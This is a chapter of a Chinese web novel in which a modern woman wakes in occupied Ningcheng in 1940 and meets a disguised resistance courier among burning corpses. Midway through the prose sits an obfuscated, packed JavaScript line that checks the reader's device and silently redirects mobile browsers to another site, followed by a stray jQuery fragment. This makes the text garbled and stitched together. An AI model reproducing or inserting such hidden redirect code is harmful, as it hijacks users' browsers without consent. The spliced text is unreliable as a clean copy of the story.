后来黎颂回忆宋逢年的时候，便会想起初见这一天。
他背后的天空灰蒙色。
大片黑色硝烟中，夹杂着层叠的橙黄夕阳，有枪声散在风中。
这是1940年春的宁城，距离她所生长的时代，已是八十多年前。
她莞尔一句玩笑。
没想到借着那本手札，当真穿梭进了历史之中。
旧时代的宋逢年乔装时。
他似乎也没想到，会在混乱的尸堆里，扒拉出了她。二人就这么对视间，大眼瞪小眼的：“你……”
“还真是活人啊。”他意外。
他虽开口诈她，但并没有骗她。
眼前是偏僻之地，荒芜地燃着烟。坑中层叠着数不清的尸身，火苗窜上来，此起彼伏烧着不停。
“旧时代。”
“……原来是这样的吗？”
黎颂望着，蓦地心脏沉着。被烟灰呛得，要喘不过气来，像跟着压抑而窒息。
她望向积水中。
所幸倒影里，还是熟悉的自己，便以为是在做一场太真实的梦。
旁边的旧时代青年，微戏谑地道：“你是我今天拉的，第五批尸体。”
“不过……倒是，第一个漏网之鱼。”
顷刻之间，他撕下了布条，利落地给自己的伤包扎。看起来对疼痛没有异样，像已然习惯了。
黎颂好奇地望着他，见他襟前的口袋上，有一根烟。
他修长的指间，却很干净，并没有旧时代烟灰的土焦色。身上也没有难闻的气味，很清冽温和的气息。
“不抽烟的话，怎么还带了根呢？”
她轻声呢喃，有些疑惑。
他听清了她小声的嘀咕。神色散漫地道了句，他当车夫时，每日走街串巷，认识的人会送烟。
眼前的青年，也确实动作并不生疏。
他支起推车，卸下干草。
于是车上，和她待了一路的尸体，滚落进了坑中。在大片的火光和浓烟里，最终融化消失着。
黎颂看着这一幕，蓦地轻捂着唇。
“……就这么，全都烧了吗？没人来认领，他们的尸首吗？”
“他们的家人呢？亲朋好友呢？”
宋逢年站在阴影里，半边侧脸轮廓晦暗，淡淡道：“没人来认领，战火迭起后——往哪里下葬，哪有钱下葬呢？”
“何况。”
他轻声说：“这些人里面，有去刺杀日本人的，还有什么各种学生组织……只有我，来送他们，这最后一程了。”
闻言，黎颂僵着站了半天：“原来，是这样啊。”
她默默注视着。
只能在心中念了一句，一路走好。
他轻侧头：“眼睛瞪得那么大，是以前没见过，这种场景吗？”
“我看你，还挺年轻的姑娘。怎么想不开，非要混在尸体堆里呢？”
他语气轻戏谑道。
黎颂不语。
不知他是不是在试探着她。
青年见她不说话，轻耸了肩，像在猜测她的来历：“遇人不淑的女学生？被卷入的普通百姓？或者……”
又或者身上，可能藏匿了一些危险？
他没把猜测说出口，眼角含笑的模样。眼中光影深沉，带点微不可察的锐利，和几分散漫的审视意味。
许是为了防身，他在车把边放了刀。
这时他握在手里，有一搭没一搭地，叩了下：“啪嗒。”
这刀的声响听起来，有些凉意，她眼皮不由浅跳。
这巷中暂且没其他人。
她怕那刀落自己脖颈上，飞快编了个借口道：“我是个小记者，出于一些缘由，无意间路过被卷入了这里。”
宋逢年侧头。
他轻笑了声，像不把她放在眼里：“记者吗？”
她眨眼：“但是我能猜到，你应该……不是个普通车夫。”
气氛有些凝滞。
他莞尔着问：“那你觉得，我又是做什么的？”
黎颂对上他的目光，那眼神漆黑深邃，像没什么危险。她眨巴几下眼，没有防备，顺势说了出来——
“你身上藏着秘密，比如那支烟。”
“它最开始，不在你的口袋里……是在干草堆下面，我旁边那具尸体攥在手里的。”
烟管很软，像卷起的纸张。
攥着它的人用力，带着刻骨铭心的力道。
“烟芯是空的，里面有张纸条。”
她顿着把话说完。
又眨眨眼，发现话语，好像不能这么直接——听上去，像她在要挟对方一样。
对面的宋逢年挑眉，他原本散漫的笑容，像在日光里浮于表面，化不开的漆黑墨：“所以呢？”
她手心微出了汗。
摊开掌心，把要挟坐实了：“所以我刚刚，先你一步，把纸条抽出来了。”
“……抱歉。”
“本来是想找点防身武器。”
“现在有点怕你，会杀我灭口。”
黎颂语气坦诚道。
她并不是有意的，是醒来后，到了全然陌生的环境，才不得不出此下策。
虽然刚刚那番话，听上去真的很像要挟。
闻言，青年轻按烟管，里边果然空空如也。
他扯了下唇角。
像有些意外，终于正眼望向了她：“你这是，恩将仇报啊？”
他眼尾扬起，含起委婉多情的意味：“不过，倒挺聪明。”
黎颂望了眼他的伤口，她又诚恳地道了好几声对不起。
“你把手里的刀放下，等我走出这条巷子，去外边人多的地方。只要安全了，我就还给你。”
“我保证，真的。”
她示意纸条尚是完好。
宋逢年挑着唇角，神色难辨地看了她会儿，复而笑起来：“行，我送你到巷子前头，你得说话算话。”
他像带了点深意。
侧着头，还隐约像在看好戏：“你去吧。”
巷外，有遥远的脚步声，黎颂轻跑着过去。
她望着巷外，在即将踏出去前。打算按照约定，把纸条抛还给他：“喂，你伸手……”
还没来得及说完，风过无痕。
这时一枚冰冷的子弹，瞬间轻擦着，她的脖颈而过。
“砰——砰。”
等黎颂反应过来时。
她僵住，被吓得闭上眼，被他轻揽过去。按住她的肩和腰，被带着在地上滚了几圈。
“外面时常有战火，你一点都不防备，便往外边跑吗？”
他轻叹了句。
收敛了方才看好戏的模样，神色正经认真了几分：“居然，还真跑出去了。”
青年的手，还垫在她脖颈下方。
她的长发缠在他袖口，微微扯痛。她忍住没出动静，但是鼻尖皱了下。
对视间，他叹了气。又礼貌地帮她把扯住的头发，回绕到耳后：“好了。”
“还以为，你前面是假装的。没想到，真这么天真。”
黎颂抬眸，睁大自己的眼睛，用眼神控诉他这不礼貌的评价。
但她确实莽撞了。
没意识到旧时代的残酷，以为自己是在朦胧的梦中。如今，终于有了几分真切感，产生了些后怕。
巷外结束枪声后，隐约传来了对话。
“那边，是什么动静？”
“烧死人的地方，最近不是又死了不少人吗？大惊小怪的。”
“但刚刚有声音，是谁在那边？先去再喊几个人来，你们俩在这儿守着，不要给任何人放行。”
她听着模糊的对话，叽里呱啦的语言，全然听不懂。但也知道，那是什么样的敌人：“……是日本人。”
她抬头，试图去瞧外边的景象。
躺在地上的宋逢年，被她重重地压到了伤口，倒吸一口凉气。
他轻叹气，随后尾音扬起：“能先下来吗？你再动的话，我的肋骨都要断几根了。”
黎颂应了声。
她从他身上翻身下来，把纸条塞到他掌心里，小声地再道了声抱歉。
他倒是不计前嫌，又救了她一次。
于是，她轻抿了下唇，带着诚意喊他：“谢谢你——前辈。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891380|176479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这么喊应该没问题。
此刻的宁城，至少是半个世纪前了。同在一片土地上，倘若认真计算的话，他也长了她那么多年纪。
“……你喊我什么？”
他顿住，像以为是听错了。
黎颂重复：“前辈啊，宋前辈。”
她朝他眨眼，自认为很有道歉的诚意。
宋逢年似是沉默了会儿，轻翻了下眼，但又不想搭理她。最终他屈腿坐起来：“又救了你，是今日第二回了。”
“这回，不会恩将仇报，再威胁我一次了吧？”
黎颂摇头：“外面守着的是谁……在搜寻你吗？他们等下，是又会喊其他人来？”
“所有路过的百姓，都有可能莫名其妙，被牵连遭殃吗？”
这来自她的记者职业病，一口气询问了出来，眼中带些好奇。
宋逢年没说话。
食指抵唇，轻嘘了声。
他若有所思地瞧她：“三月沪城沦陷，就近的宁城亦受影响。数不清的扫荡，还驻扎了宪兵部队，外面的便是敌人。”
“一点不知晓，你是从哪里来的？”
他的目光落下来。
见她不像深院大宅里的女子，目光好奇而无畏。裙子样式很陌生，看着有点偏西式，微微收腰，穿着倒是很漂亮。
而她皮肤白皙，眼眸望着他时，时而好奇地眨几下——
于是宋逢年对于初见。
这般对她评价：“说自己是记者吗？看着倒更像是个，留洋回来的布尔乔亚小姐。”
她看上去不懂战火，不了解当下情形。
黎颂轻啊了声：“我哪里像了。不能因为我拿了纸条，就这么说我吧？”
哦，她居然还听得懂，知道布尔乔亚是什么，还知晓不是个好词。
他有些意外。
侧头，语调松弛：“不像吗？”
这一天，他乔装成车夫时。
从寂寥的尸堆里，莫名扒拉出了一个奇怪的姑娘。
宋逢年不知道遇到她后，将会发生什么。正如他对于自己的命运，也从来不知，会赴往怎样的方向。
巷外的脚步声在靠近，也许出于警惕，过来得很慢。长靴沉闷的声响，在青石路上，一下一下响起着。
黎颂：“现在，该怎么办？”
“稍等。”
他利落脱掉了最外边，乔装车夫的灰白外套。里边是件绿色军服，细看针脚粗糙，但乍一眼倒能以假乱真。
她讶异地望着这一幕。
隐约能猜到，他身上藏着更多的秘密。
卸下伪装后，他的身形变得颀长挺拔了几分，和方才的车夫判若两人。
他又从车上翻出了一顶军帽。帽檐向前扣着，使面容半隐半现，只余一道分明的侧脸轮廓。
黎颂有些不知所措：“那我……”
对方自有伪装，那她该怎么办呢？
见她犹豫，宋逢年转回了身。
若有所思间，他唇角有弧度浮现。想到了什么主意，出口的问题却有些突兀：“你有丈夫吗？”
她听到后怔了下：“嗯，什么？”
“没有。”
脚步声转过了巷角，即将近在咫尺。
宋逢年像刚才褪去伪装一样，有条不絮地，扯开了她的披发，被风吹乱遮住半张脸。
他又拨开尸体堆，找出一件复古的长披肩，披在了她肩上。微厚的羊毛质感，长流苏状衣摆，盖住了她的裙子。
他继续有礼地问：“那种自由恋爱，交往的对象呢，有吗？”
她一头雾水：“也没有。”
那群敌人要迎面过来了。
宋逢年确认完她的回答，很轻地笑起来：“行，那就好。”
他道了声冒犯，在正面撞上的刹那，虚揽上她的肩。
绿色衣角被风拂起。
他低扣了些帽檐，又姿势微带暧昧。将她轻按在怀里，挡住了她剩余的面容。
与她从这群人面前，擦肩而过。
低沉地在她耳边道：“……别抬头。”
“跟着我，一直往前走。”